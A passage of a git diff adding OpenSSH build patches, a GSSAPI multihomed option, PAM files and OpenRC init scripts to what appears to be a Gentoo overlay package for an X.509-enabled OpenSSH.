sZeroKnowledgePasswordAuthentication, sHostCertificate, ++ sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, ++ sKexAlgorithms, sIPQoS, + sDeprecated, sUnsupported + } ServerOpCodes; + diff --git a/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch b/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch new file mode 100644 index 00000000..7be2879f --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.8_p1-selinux.patch @@ -0,0 +1,18 @@ +http://bugs.gentoo.org/354247 + +[openbsd-compat/port-linux.c] Bug #1851: fix syntax error in + selinux code. Patch from Leonardo Chiquitto. + +/* $Id: openssh-5.8_p1-selinux.patch,v 1.1 2011/02/10 02:44:53 vapier Exp $ */ + +--- a/openbsd-compat/port-linux.c ++++ b/openbsd-compat/port-linux.c +@@ -213,7 +213,7 @@ + + if (!ssh_selinux_enabled()) + return; +- if (path == NULL) ++ if (path == NULL) { + setfscreatecon(NULL); + return; + } diff --git a/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..74d06c79 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.8_p1-x509-hpn-glue.patch @@ -0,0 +1,61 @@ +Move things around so hpn applies cleanly when using X509. + +--- a/Makefile.in ++++ b/Makefile.in +@@ -46,12 +46,13 @@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHLIBS=@SSHLIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS+=@LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +--- a/servconf.c ++++ b/servconf.c +@@ -153,9 +153,6 @@ initialize_server_options(ServerOptions *options) + options->zero_knowledge_password_authentication = -1; + options->revoked_keys_file = NULL; + options->trusted_user_ca_keys = NULL; +- options->authorized_principals_file = NULL; +- options->ip_qos_interactive = -1; +- options->ip_qos_bulk = -1; + + options->hostbased_algorithms = NULL; + options->pubkey_algorithms = NULL; +@@ -168,6 +165,9 @@ initialize_server_options(ServerOptions *options) + options->va.certificate_file = NULL; + options->va.responder_url = NULL; + #endif /*def SSH_OCSP_ENABLED*/ ++ options->authorized_principals_file = NULL; ++ options->ip_qos_interactive = -1; ++ options->ip_qos_bulk = -1; + } + + void +@@ -367,9 +367,6 @@ typedef enum { + sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel, + sMatch, sPermitOpen, sForceCommand, sChrootDirectory, + sUsePrivilegeSeparation, sAllowAgentForwarding, +- sZeroKnowledgePasswordAuthentication, sHostCertificate, +- sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, +- sKexAlgorithms, sIPQoS, + sHostbasedAlgorithms, + sPubkeyAlgorithms, + sX509KeyAlgorithm, +@@ -380,6 +377,9 @@ typedef enum { + sCAldapVersion, sCAldapURL, + sVAType, sVACertificateFile, + sVAOCSPResponderURL, ++ sZeroKnowledgePasswordAuthentication, sHostCertificate, ++ sRevokedKeys, sTrustedUserCAKeys, sAuthorizedPrincipalsFile, ++ sKexAlgorithms, sIPQoS, + sDeprecated, sUnsupported + } ServerOpCodes; + diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch b/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch new file mode 100644 index 00000000..eb621abb --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.9_p1-drop-openssl-check.patch @@ -0,0 +1,25 @@ +newer versions of openssl have started to be compatible across minor versions +too, so this sanity check fails. since we already handle compatibility with +openssl via SONAME checks, we don't need this openssh check at all. + +http://marc.info/?l=openssl-dev&m=133176786215023&w=2 + +--- a/entropy.c ++++ b/entropy.c +@@ -208,16 +208,7 @@ seed_rng(void) + { + #ifndef OPENSSL_PRNG_ONLY + unsigned char buf[RANDOM_SEED_SIZE]; +-#endif +- /* +- * OpenSSL version numbers: MNNFFPPS: major minor fix patch status +- * We match major, minor, fix and status (not patch) +- */ +- if ((SSLeay() ^ OPENSSL_VERSION_NUMBER) & ~0xff0L) +- fatal("OpenSSL version mismatch. Built against %lx, you " +- "have %lx", (u_long)OPENSSL_VERSION_NUMBER, SSLeay()); + +-#ifndef OPENSSL_PRNG_ONLY + if (RAND_status() == 1) { + debug3("RNG is ready, skipping seeding"); + return; diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch b/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch new file mode 100644 index 00000000..6377d036 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.9_p1-sshd-gssapi-multihomed.patch @@ -0,0 +1,184 @@ +Index: gss-serv.c +=================================================================== +RCS file: /cvs/src/usr.bin/ssh/gss-serv.c,v +retrieving revision 1.22 +diff -u -p -r1.22 gss-serv.c +--- gss-serv.c 8 May 2008 12:02:23 -0000 1.22 ++++ gss-serv.c 11 Jan 2010 05:38:29 -0000 +@@ -41,9 +41,12 @@ + #include "channels.h" + #include "session.h" + #include "misc.h" ++#include "servconf.h" + + #include "ssh-gss.h" + ++extern ServerOptions options; ++ + static ssh_gssapi_client gssapi_client = + { GSS_C_EMPTY_BUFFER, GSS_C_EMPTY_BUFFER, + GSS_C_NO_CREDENTIAL, NULL, {NULL, NULL, NULL}}; +@@ -77,25 +80,32 @@ ssh_gssapi_acquire_cred(Gssctxt *ctx) + char lname[MAXHOSTNAMELEN]; + gss_OID_set oidset; + +- gss_create_empty_oid_set(&status, &oidset); +- gss_add_oid_set_member(&status, ctx->oid, &oidset); +- +- if (gethostname(lname, MAXHOSTNAMELEN)) { +- gss_release_oid_set(&status, &oidset); +- return (-1); +- } ++ if (options.gss_strict_acceptor) { ++ gss_create_empty_oid_set(&status, &oidset); ++ gss_add_oid_set_member(&status, ctx->oid, &oidset); ++ ++ if (gethostname(lname, MAXHOSTNAMELEN)) { ++ gss_release_oid_set(&status, &oidset); ++ return (-1); ++ } ++ ++ if (GSS_ERROR(ssh_gssapi_import_name(ctx, lname))) { ++ gss_release_oid_set(&status, &oidset); ++ return (ctx->major); ++ } ++ ++ if ((ctx->major = gss_acquire_cred(&ctx->minor, ++ ctx->name, 0, oidset, GSS_C_ACCEPT, &ctx->creds, ++ NULL, NULL))) ++ ssh_gssapi_error(ctx); + +- if (GSS_ERROR(ssh_gssapi_import_name(ctx, lname))) { + gss_release_oid_set(&status, &oidset); + return (ctx->major); ++ } else { ++ ctx->name = GSS_C_NO_NAME; ++ ctx->creds = GSS_C_NO_CREDENTIAL; + } +- +- if ((ctx->major = gss_acquire_cred(&ctx->minor, +- ctx->name, 0, oidset, GSS_C_ACCEPT, &ctx->creds, NULL, NULL))) +- ssh_gssapi_error(ctx); +- +- gss_release_oid_set(&status, &oidset); +- return (ctx->major); ++ return GSS_S_COMPLETE; + } + + /* Privileged */ +Index: servconf.c +=================================================================== +RCS file: /cvs/src/usr.bin/ssh/servconf.c,v +retrieving revision 1.201 +diff -u -p -r1.201 servconf.c +--- servconf.c 10 Jan 2010 03:51:17 -0000 1.201 ++++ servconf.c 11 Jan 2010 05:34:56 -0000 +@@ -86,6 +86,7 @@ initialize_server_options(ServerOptions + options->kerberos_get_afs_token = -1; + options->gss_authentication=-1; + options->gss_cleanup_creds = -1; ++ options->gss_strict_acceptor = -1; + options->password_authentication = -1; + options->kbd_interactive_authentication = -1; + options->challenge_response_authentication = -1; +@@ -200,6 +201,8 @@ fill_default_server_options(ServerOption + options->gss_authentication = 0; + if (options->gss_cleanup_creds == -1) + options->gss_cleanup_creds = 1; ++ if (options->gss_strict_acceptor == -1) ++ options->gss_strict_acceptor = 0; + if (options->password_authentication == -1) + options->password_authentication = 1; + if (options->kbd_interactive_authentication == -1) +@@ -277,7 +280,8 @@ typedef enum { + sBanner, sUseDNS, sHostbasedAuthentication, + sHostbasedUsesNameFromPacketOnly, sClientAliveInterval, + sClientAliveCountMax, sAuthorizedKeysFile, +- sGssAuthentication, sGssCleanupCreds, sAcceptEnv, sPermitTunnel, ++ sGssAuthentication, sGssCleanupCreds, sGssStrictAcceptor, ++ sAcceptEnv, sPermitTunnel, + sMatch, sPermitOpen, sForceCommand, sChrootDirectory, + sUsePrivilegeSeparation, sAllowAgentForwarding, + sZeroKnowledgePasswordAuthentication, sHostCertificate, +@@ -327,9 +331,11 @@ static struct { + #ifdef GSSAPI + { "gssapiauthentication", sGssAuthentication, SSHCFG_ALL }, + { "gssapicleanupcredentials", sGssCleanupCreds, SSHCFG_GLOBAL }, ++ { "gssapistrictacceptorcheck", sGssStrictAcceptor, SSHCFG_GLOBAL }, + #else + { "gssapiauthentication", sUnsupported, SSHCFG_ALL }, + { "gssapicleanupcredentials", sUnsupported, SSHCFG_GLOBAL }, ++ { "gssapistrictacceptorcheck", sUnsupported, SSHCFG_GLOBAL }, + #endif + { "passwordauthentication", sPasswordAuthentication, SSHCFG_ALL }, + { "kbdinteractiveauthentication", sKbdInteractiveAuthentication, SSHCFG_ALL }, +@@ -850,6 +856,10 @@ process_server_config_line(ServerOptions + + case sGssCleanupCreds: + intptr = &options->gss_cleanup_creds; ++ goto parse_flag; ++ ++ case sGssStrictAcceptor: ++ intptr = &options->gss_strict_acceptor; + goto parse_flag; + + case sPasswordAuthentication: +Index: servconf.h +=================================================================== +RCS file: /cvs/src/usr.bin/ssh/servconf.h,v +retrieving revision 1.89 +diff -u -p -r1.89 servconf.h +--- servconf.h 9 Jan 2010 23:04:13 -0000 1.89 ++++ servconf.h 11 Jan 2010 05:32:28 -0000 +@@ -92,6 +92,7 @@ typedef struct { + * authenticated with Kerberos. */ + int gss_authentication; /* If true, permit GSSAPI authentication */ + int gss_cleanup_creds; /* If true, destroy cred cache on logout */ ++ int gss_strict_acceptor; /* If true, restrict the GSSAPI acceptor name */ + int password_authentication; /* If true, permit password + * authentication. */ + int kbd_interactive_authentication; /* If true, permit */ +Index: sshd_config +=================================================================== +RCS file: /cvs/src/usr.bin/ssh/sshd_config,v +retrieving revision 1.81 +diff -u -p -r1.81 sshd_config +--- sshd_config 8 Oct 2009 14:03:41 -0000 1.81 ++++ sshd_config 11 Jan 2010 05:32:28 -0000 +@@ -69,6 +69,7 @@ + # GSSAPI options + #GSSAPIAuthentication no + #GSSAPICleanupCredentials yes ++#GSSAPIStrictAcceptorCheck yes + + # Set this to 'yes' to enable PAM authentication, account processing, + # and session processing. If this is enabled, PAM authentication will +Index: sshd_config.5 +=================================================================== +RCS file: /cvs/src/usr.bin/ssh/sshd_config.5,v +retrieving revision 1.116 +diff -u -p -r1.116 sshd_config.5 +--- sshd_config.5 9 Jan 2010 23:04:13 -0000 1.116 ++++ sshd_config.5 11 Jan 2010 05:37:20 -0000 +@@ -386,6 +386,21 @@ on logout. + The default is + .Dq yes . + Note that this option applies to protocol version 2 only. ++.It Cm GSSAPIStrictAcceptorCheck ++Determines whether to be strict about the identity of the GSSAPI acceptor ++a client authenticates against. ++If set to ++.Dq yes ++then the client must authenticate against the ++.Pa host ++service on the current hostname. ++If set to ++.Dq no ++then the client may authenticate against any service key stored in the ++machine's default store. ++This facility is provided to assist with operation on multi homed machines. ++The default is ++.Dq yes . + .It Cm HostbasedAuthentication + Specifies whether rhosts or /etc/hosts.equiv authentication together + with successful public key client host authentication is allowed diff --git a/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch new file mode 100644 index 00000000..6fbb88b6 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-5.9_p1-x509-glue.patch @@ -0,0 +1,15 @@ +make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch + +--- openssh-5.9p1+x509-7.0.diff ++++ openssh-5.9p1+x509-7.0.diff +@@ -11995,9 +11995,9 @@ + Specifies whether challenge-response authentication is allowed (e.g. via + PAM or though authentication styles supported in + @@ -430,6 +507,16 @@ ++ This facility is provided to assist with operation on multi homed machines. + The default is + .Dq yes . +- Note that this option applies to protocol version 2 only. + +.It Cm HostbasedAlgorithms + +Specifies the protocol version 2 algorithms used in + +.Dq hostbased diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch b/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch new file mode 100644 index 00000000..3b34cd2e --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.0_p1-fix-freebsd-compilation.patch @@ -0,0 +1,15 @@ +diff --git a/configure.ac b/configure.ac +index 2b60300..21b6112 100644 +--- a/configure.ac ++++ b/configure.ac +@@ -725,6 +725,10 @@ mips-sony-bsd|mips-sony-newsos4) + AC_CHECK_HEADER([net/if_tap.h], , + AC_DEFINE([SSH_TUN_NO_L2], [1], [No layer 2 tunnel support])) + AC_DEFINE([BROKEN_GLOB], [1], [FreeBSD glob does not do what we need]) ++ AC_DEFINE([DISABLE_UTMP], [1], ++ [Define if you don't want to use utmp]) ++ AC_DEFINE([DISABLE_WTMP], [1], ++ [Define if you don't want to use wtmp]) + ;; + *-*-bsdi*) + AC_DEFINE([SETEUID_BREAKS_SETUID]) diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch b/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch new file mode 100644 index 00000000..56805d12 --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.0_p1-hpn-progressmeter.patch @@ -0,0 +1,15 @@ +don't go reading random stack values + +already e-mailed to upstream hpn devs + +--- progressmeter.c ++++ progressmeter.c +@@ -183,7 +183,7 @@ + percent = ((float)cur_pos / end_pos) * 100; + else + percent = 100; +- snprintf(buf + strlen(buf), win_size - strlen(buf-8), ++ snprintf(buf + strlen(buf), win_size - strlen(buf) - 8, + " %3d%% ", percent); + + /* amount transferred */ diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-test.patch b/net-misc/openssh-x/files/openssh-6.0_p1-test.patch new file mode 100644 index 00000000..8b988aed --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.0_p1-test.patch @@ -0,0 +1,19 @@ +changeset: 10701:b159befd3104 +tag: tip +user: Mike Frysinger +date: Sun Apr 29 00:26:33 2012 -0400 +summary: use = with `test`, not == + +diff -r d8a3ea854288 -r b159befd3104 configure.ac +--- a/configure.ac Fri Apr 27 00:55:42 2012 +0000 ++++ b/configure.ac Sun Apr 29 00:26:33 2012 -0400 +@@ -2591,7 +2591,7 @@ + AC_DEFINE([SANDBOX_DARWIN], [1], [Sandbox using Darwin sandbox_init(3)]) + elif test "x$sandbox_arg" = "xseccomp_filter" || \ + ( test -z "$sandbox_arg" && \ +- test "x$have_seccomp_filter" == "x1" && \ ++ test "x$have_seccomp_filter" = "x1" && \ + test "x$ac_cv_header_linux_audit_h" = "xyes" && \ + test "x$have_seccomp_audit_arch" = "x1" && \ + test "x$have_linux_no_new_privs" = "x1" && \ + diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch new file mode 100644 index 00000000..3633a2af --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.0_p1-x509-glue.patch @@ -0,0 +1,15 @@ +make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch + +--- openssh-6.0p1+x509-7.1.diff ++++ openssh-6.0p1+x509-7.1.diff +@@ -13502,9 +13502,9 @@ + Specifies whether challenge-response authentication is allowed (e.g. via + PAM or though authentication styles supported in + @@ -430,6 +507,16 @@ ++ This facility is provided to assist with operation on multi homed machines. + The default is + .Dq yes . +- Note that this option applies to protocol version 2 only. + +.It Cm HostbasedAlgorithms + +Specifies the protocol version 2 algorithms used in + +.Dq hostbased diff --git a/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..9e3dfdbe --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.0_p1-x509-hpn-glue.patch @@ -0,0 +1,57 @@ +diff --git a/Makefile.in b/Makefile.in +index ecb45cd..7834fb1 100644 +--- a/Makefile.in ++++ b/Makefile.in +@@ -45,12 +45,13 @@ FIPSLD_CC=@FIPSLD_CC@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHLIBS=@SSHLIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS+=@LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +diff --git a/sshconnect.c b/sshconnect.c +index 19a2b06..dd75f78 100644 +--- a/sshconnect.c ++++ b/sshconnect.c +@@ -580,7 +580,7 @@ ssh_exchange_identification(int timeout_ms) + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s", + compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + compat20 ? PROTOCOL_MINOR_2 : minor1, +- SSH_VERSION, compat20 ? " PKIX\r\n" : "\n"); ++ SSH_VERSION, compat20 ? "\r\n" : "\n"); + if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf)) + != strlen(buf)) + fatal("write: %.100s", strerror(errno)); +diff --git a/sshd.c b/sshd.c +index a5c437d..a1105a0 100644 +--- a/sshd.c ++++ b/sshd.c +@@ -428,8 +428,8 @@ sshd_exchange_identification(int sock_in, int sock_out) + minor = PROTOCOL_MINOR_1; + comment = ""; + } +- snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s%s", major, minor, +- SSH_VERSION, comment, newline); ++ snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s", major, minor, ++ SSH_VERSION, newline); + server_version_string = xstrdup(buf); + + /* Send our protocol version identification. */ +diff --git a/version.h b/version.h +index 78983d9..ec1746d 100644 +--- a/version.h ++++ b/version.h +@@ -3,4 +3,5 @@ + #define SSH_VERSION "OpenSSH_6.0" + + #define SSH_PORTABLE "p1" ++#define SSH_X509 " PKIX" + #define SSH_RELEASE SSH_VERSION SSH_PORTABLE diff --git a/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch b/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch new file mode 100644 index 00000000..e6db835d --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.1_p1-x509-glue.patch @@ -0,0 +1,15 @@ +make x509 apply after openssh-5.9_p1-sshd-gssapi-multihomed.patch + +--- openssh-6.1p1+x509-7.2.1.diff ++++ openssh-6.1p1+x509-7.2.1.diff +@@ -13502,9 +13502,9 @@ + Specifies whether challenge-response authentication is allowed (e.g. via + PAM or though authentication styles supported in + @@ -432,6 +509,16 @@ ++ This facility is provided to assist with operation on multi homed machines. + The default is + .Dq yes . +- Note that this option applies to protocol version 2 only. + +.It Cm HostbasedAlgorithms + +Specifies the protocol version 2 algorithms used in + +.Dq hostbased diff --git a/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch b/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch new file mode 100644 index 00000000..5d69a50b --- /dev/null +++ b/net-misc/openssh-x/files/openssh-6.1_p1-x509-hpn-glue.patch @@ -0,0 +1,49 @@ +--- a/Makefile.in ++++ b/Makefile.in +@@ -45,12 +45,13 @@ FIPSLD_CC=@FIPSLD_CC@ + CC=@CC@ + LD=@LD@ + CFLAGS=@CFLAGS@ +-CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ @LDAP_CPPFLAGS@ $(PATHS) @DEFS@ ++CPPFLAGS=-I. -I$(srcdir) @CPPFLAGS@ $(PATHS) @DEFS@ + LIBS=@LIBS@ + SSHLIBS=@SSHLIBS@ + SSHDLIBS=@SSHDLIBS@ + LIBEDIT=@LIBEDIT@ + LIBLDAP=@LDAP_LDFLAGS@ @LDAP_LIBS@ ++CPPFLAGS+=@LDAP_CPPFLAGS@ + AR=@AR@ + AWK=@AWK@ + RANLIB=@RANLIB@ +--- a/sshconnect.c ++++ b/sshconnect.c +@@ -580,7 +580,7 @@ ssh_exchange_identification(int timeout_ms) + snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s", + compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1, + compat20 ? PROTOCOL_MINOR_2 : minor1, +- SSH_VERSION, compat20 ? " PKIX\r\n" : "\n"); ++ SSH_VERSION, compat20 ? "\r\n" : "\n"); + if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf)) + != strlen(buf)) + fatal("write: %.100s", strerror(errno)); +--- a/sshd.c ++++ b/sshd.c +@@ -428,8 +428,8 @@ sshd_exchange_identification(int sock_in, int sock_out) + comment = ""; + } + +- xasprintf(&server_version_string, "SSH-%d.%d-%.100s%s%s%s%s", ++ xasprintf(&server_version_string, "SSH-%d.%d-%.100s%s%s%s", +- major, minor, SSH_VERSION, comment, ++ major, minor, SSH_VERSION, + *options.version_addendum == '\0' ? "" : " ", + options.version_addendum, newline); + +--- a/version.h ++++ b/version.h +@@ -3,4 +3,5 @@ + #define SSH_VERSION "OpenSSH_6.0" + + #define SSH_PORTABLE "p1" ++#define SSH_X509 " PKIX" + #define SSH_RELEASE SSH_VERSION SSH_PORTABLE diff --git a/net-misc/openssh-x/files/sshd.confd b/net-misc/openssh-x/files/sshd.confd new file mode 100644 index 00000000..28952b4a --- /dev/null +++ b/net-misc/openssh-x/files/sshd.confd @@ -0,0 +1,21 @@ +# /etc/conf.d/sshd: config file for /etc/init.d/sshd + +# Where is your sshd_config file stored? + +SSHD_CONFDIR="/etc/ssh" + + +# Any random options you want to pass to sshd. +# See the sshd(8) manpage for more info. + +SSHD_OPTS="" + + +# Pid file to use (needs to be absolute path). + +#SSHD_PIDFILE="/var/run/sshd.pid" + + +# Path to the sshd binary (needs to be absolute path). + +#SSHD_BINARY="/usr/sbin/sshd" diff --git a/net-misc/openssh-x/files/sshd.pam b/net-misc/openssh-x/files/sshd.pam new file mode 100644 index 00000000..51149402 --- /dev/null +++ b/net-misc/openssh-x/files/sshd.pam @@ -0,0 +1,9 @@ +#%PAM-1.0 + +auth required pam_stack.so service=system-auth +auth required pam_shells.so +auth required pam_nologin.so +account required pam_stack.so service=system-auth +password required pam_stack.so service=system-auth +session required pam_stack.so service=system-auth + diff --git a/net-misc/openssh-x/files/sshd.pam_include.2 b/net-misc/openssh-x/files/sshd.pam_include.2 new file mode 100644 index 00000000..b801aaaf --- /dev/null +++ b/net-misc/openssh-x/files/sshd.pam_include.2 @@ -0,0 +1,4 @@ +auth include system-remote-login +account include system-remote-login +password include system-remote-login +session include system-remote-login diff --git a/net-misc/openssh-x/files/sshd.rc6 b/net-misc/openssh-x/files/sshd.rc6 new file mode 100644 index 00000000..03160686 --- /dev/null +++ b/net-misc/openssh-x/files/sshd.rc6 @@ -0,0 +1,82 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6,v 1.28 2011/12/04 10:08:19 swegener Exp $ + +extra_commands="checkconfig gen_keys" +extra_started_commands="reload" + +depend() { + use logger dns + need net +} + +SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh} +SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid} +SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd} + +checkconfig() { + if [ ! -d /var/empty ] ; then + mkdir -p /var/empty || return 1 + fi + + if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then + eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd" + eerror "There is a sample file in /usr/share/doc/openssh" + return 1 + fi + + gen_keys || return 1 + + "${SSHD_BINARY}" -t ${myopts} || return 1 +} + +gen_keys() { + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_key ] ; then + einfo "Generating Hostkey..." + /usr/bin/ssh-keygen -t rsa1 -f "${SSHD_CONFDIR}"/ssh_host_key -N '' || return 1 + fi + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_dsa_key ] ; then + einfo "Generating DSA-Hostkey..." + /usr/bin/ssh-keygen -d -f "${SSHD_CONFDIR}"/ssh_host_dsa_key -N '' || return 1 + fi + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_rsa_key ] ; then + einfo "Generating RSA-Hostkey..." + /usr/bin/ssh-keygen -t rsa -f "${SSHD_CONFDIR}"/ssh_host_rsa_key -N '' || return 1 + fi + return 0 +} + +start() { + local myopts="" + [ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \ + && myopts="${myopts} -o PidFile=${SSHD_PIDFILE}" + [ "${SSHD_CONFDIR}" != "/etc/ssh" ] \ + && myopts="${myopts} -f ${SSHD_CONFDIR}/sshd_config" + + checkconfig || return 1 + ebegin "Starting ${SVCNAME}" + start-stop-daemon --start --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" \ + -- ${myopts} ${SSHD_OPTS} + eend $? +} + +stop() { + if [ "${RC_CMD}" = "restart" ] ; then + checkconfig || return 1 + fi + + ebegin "Stopping ${SVCNAME}" + start-stop-daemon --stop --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" --quiet + eend $? +} + +reload() { + checkconfig || return 1 + ebegin "Reloading ${SVCNAME}" + start-stop-daemon --stop --signal HUP --oknodo \ + --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}" + eend $? +} diff --git a/net-misc/openssh-x/files/sshd.rc6.1 b/net-misc/openssh-x/files/sshd.rc6.1 new file mode 100644 index 00000000..6524601c --- /dev/null +++ b/net-misc/openssh-x/files/sshd.rc6.1 @@ -0,0 +1,83 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.1,v 1.2 2011/12/04 10:08:19 swegener Exp $ + +extra_commands="checkconfig gen_keys" +extra_started_commands="reload" + +depend() { + use logger dns + need net +} + +SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh} +SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid} +SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd} + +checkconfig() { + if [ ! -d /var/empty ] ; then + mkdir -p /var/empty || return 1 + fi + + if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then + eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd" + eerror "There is a sample file in /usr/share/doc/openssh" + return 1 + fi + + gen_keys || return 1 + + "${SSHD_BINARY}" -t ${myopts} || return 1 +} + +gen_keys() { + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_key ] && \ + egrep -q '^[ \t]*Protocol[ \t]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then + einfo "Generating RSA1-Hostkey..." + /usr/bin/ssh-keygen -t rsa1 -f "${SSHD_CONFDIR}"/ssh_host_key -N '' || return 1 + fi + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_dsa_key ] ; then + einfo "Generating DSA-Hostkey..." + /usr/bin/ssh-keygen -d -f "${SSHD_CONFDIR}"/ssh_host_dsa_key -N '' || return 1 + fi + if [ ! -e "${SSHD_CONFDIR}"/ssh_host_rsa_key ] ; then + einfo "Generating RSA-Hostkey..." + /usr/bin/ssh-keygen -t rsa -f "${SSHD_CONFDIR}"/ssh_host_rsa_key -N '' || return 1 + fi + return 0 +} + +start() { + local myopts="" + [ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \ + && myopts="${myopts} -o PidFile=${SSHD_PIDFILE}" + [ "${SSHD_CONFDIR}" != "/etc/ssh" ] \ + && myopts="${myopts} -f ${SSHD_CONFDIR}/sshd_config" + + checkconfig || return 1 + ebegin "Starting ${SVCNAME}" + start-stop-daemon --start --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" \ + -- ${myopts} ${SSHD_OPTS} + eend $? +} + +stop() { + if [ "${RC_CMD}" = "restart" ] ; then + checkconfig || return 1 + fi + + ebegin "Stopping ${SVCNAME}" + start-stop-daemon --stop --exec "${SSHD_BINARY}" \ + --pidfile "${SSHD_PIDFILE}" --quiet + eend $? +} + +reload() { + checkconfig || return 1 + ebegin "Reloading ${SVCNAME}" + start-stop-daemon --stop --signal HUP --oknodo \ + --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}" + eend $? +} diff --git a/net-misc/openssh-x/files/sshd.rc6.2 b/net-misc/openssh-x/files/sshd.rc6.2 new file mode 100644 index 00000000..22aaaad2 --- /dev/null +++ b/net-misc/openssh-x/files/sshd.rc6.2 @@ -0,0 +1,85 @@ +#!/sbin/runscript +# Copyright 1999-2011 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.2,v 1.3 2011/12/04 10:08:19 swegener Exp $ + +extra_commands="checkconfig gen_keys" 